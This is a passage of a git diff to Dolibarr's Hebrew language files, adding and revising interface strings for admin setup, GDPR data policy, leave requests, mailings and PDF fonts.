      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1235,11 +1253,13 @@ BrowserName=Browser name BrowserOS=Browser OS ListOfSecurityEvents=רשימת אירועים Dolibarr הביטחון SecurityEventsPurged=אירועים ביטחוניים מטוהר +TrackableSecurityEvents=Trackable security events LogEventDesc=Enable logging for specific security events. Administrators the log via menu %s - %s. Warning, this feature can generate a large amount of data in the database. AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=מערכת מידע הוא מידע טכני שונות נכנסת למצב קריאה בלבד ונראה לעין עבור מנהלי בלבד. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=גורמים בקובץ זה הם פעיל %s GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=גבולות / הגדרת Precision LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=עליך להפעיל את הפ YourPHPDoesNotHaveSSLSupport=פונקציות שאינן זמינות ב-SSL-PHP DownloadMoreSkins=עוד סקינים להורדה SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1376,7 +1399,7 @@ GetBarCode=Get barcode NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1430,6 +1453,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=מודול הצעות מסחרי ההתקנה ProposalsNumberingModules=הצעה מסחרית המונה מודולים @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Watermark on draft contracts (none if empty) ##### Members ##### MembersSetup=חברי מודול ההתקנה MemberMainOptions=אפשרויות עיקריות +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= ניהול התחברות לכל חבר AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=תיבת סימון לשלוח אישור בדואר לחברי (אימות או מנוי חדש) מופעלת כברירת מחדל MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=הפעל עורך מתקדם עבור: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG יצירת / מהדורה של דברי דואר FCKeditorForUserSignature=WYSIWIG creation/edition of user signature FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1762,7 +1790,7 @@ DetailMenuHandler=תפריט המטפל היכן להציג תפריט חדש DetailMenuModule=שם מודול אם סעיף מתפריט באים מודול DetailType=סוג התפריט (למעלה או שמאלה) DetailTitre=תפריט תווית או קוד תווית לתרגום -DetailUrl=כתובת האתר שם התפריט לשלוח לך (קישור URL מוחלטת או קישור חיצוני עם http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=מצב להראות או לא רשומה DetailRight=מצב כדי להציג תפריטים אפורים לא מורשים DetailLangs=לנג שם הקובץ לתרגום הקוד תווית @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=הפוך ההתקנה מודול BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind ההתקנה מודול -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=שים לב כי ה-IP שלכם לקובץ נתונים המדינה חייב להיות בתוך ספרייה PHP שלך יכול לקרוא (יש לבדוק את תוכנית ההתקנה של PHP שלך open_basedir מערכת קבצים והרשאות). YouCanDownloadFreeDatFileTo=ניתן להוריד גרסת הדגמה חינם של הקובץ הארץ GeoIP Maxmind ב %s. YouCanDownloadAdvancedDatFileTo=ניתן גם להוריד גירסה מלאה יותר, עם עדכונים של הקובץ הארץ GeoIP Maxmind ב %s. @@ -1922,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Purchase orders MailToSendSupplierInvoice=Vendor invoices MailToSendContract=חוזים MailToSendReception=Receptions +MailToExpenseReport=Expense reports MailToThirdparty=צדדים שלישיים MailToMember=משתמשים MailToUser=משתמשים @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Right margin on PDF MAIN_PDF_MARGIN_TOP=Top margin on PDF MAIN_PDF_MARGIN_BOTTOM=Bottom margin on PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Height for logo on PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Add a scheduled job and a setup page to scan regularly email boxes (using IMAP protocol) and record emails received into your application, at the right place and/or create some records automatically (like leads). NewEmailCollector=New Email Collector EMailHost=Host of email IMAP server +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Mailbox source directory MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2097,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2106,7 +2150,7 @@ CreateCandidature=Create job application FormatZip=רוכסן MainMenuCode=Menu entry code (mainmenu) ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Opening hours OpeningHoursDesc=Enter here the regular opening hours of your company. ResourceSetup=Configuration of Resource module @@ -2171,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2199,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=מומלץ NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=No updates found for external modules SwaggerDescriptionFile=Swagger API description file (for use with redoc for example) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=You enabled deprecated WS API. You should use REST API instead. RandomlySelectedIfSeveral=Randomly selected if several pictures are available +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Database password is obfuscated in conf file DatabasePasswordNotObfuscated=Database password is NOT obfuscated in conf file APIsAreNotEnabled=APIs modules are not enabled @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/he_IL/datapolicy.lang b/htdocs/langs/he_IL/datapolicy.lang new file mode 100644 index 00000000000..95f0d4cef1d --- /dev/null +++ b/htdocs/langs/he_IL/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = לקוח +DATAPOLICY_TIERS_PROSPECT = לקוח פוטנציאל +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = לקוח +DATAPOLICY_CONTACT_PROSPECT = לקוח פוטנציאל +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/he_IL/holiday.lang b/htdocs/langs/he_IL/holiday.lang index c5aa045afc3..e448f4397c8 100644 --- a/htdocs/langs/he_IL/holiday.lang +++ b/htdocs/langs/he_IL/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Monthly statement MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Start date @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=You must select a start date. NoDateFin=You must select an end date. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Reason UserCP=User ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Previous Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=קבוצות +users=משתמשים +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/he_IL/mails.lang b/htdocs/langs/he_IL/mails.lang index bd56bac15f8..b64067385e6 100644 --- a/htdocs/langs/he_IL/mails.lang +++ b/htdocs/langs/he_IL/mails.lang @@ -7,10 +7,10 @@ MailCard=EMailing card MailRecipients=Recipients MailRecipient=Recipient MailTitle=תאור -MailFrom=Sender +MailFrom=From MailErrorsTo=Errors to MailReply=Reply to -MailTo=Receiver(s) +MailTo=To MailToUsers=To user(s) MailCC=Copy to MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=צדדים שלישיים SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/he_IL/main.lang b/htdocs/langs/he_IL/main.lang index d1013d6c705..0c9d78518aa 100644 --- a/htdocs/langs/he_IL/main.lang +++ b/htdocs/langs/he_IL/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif 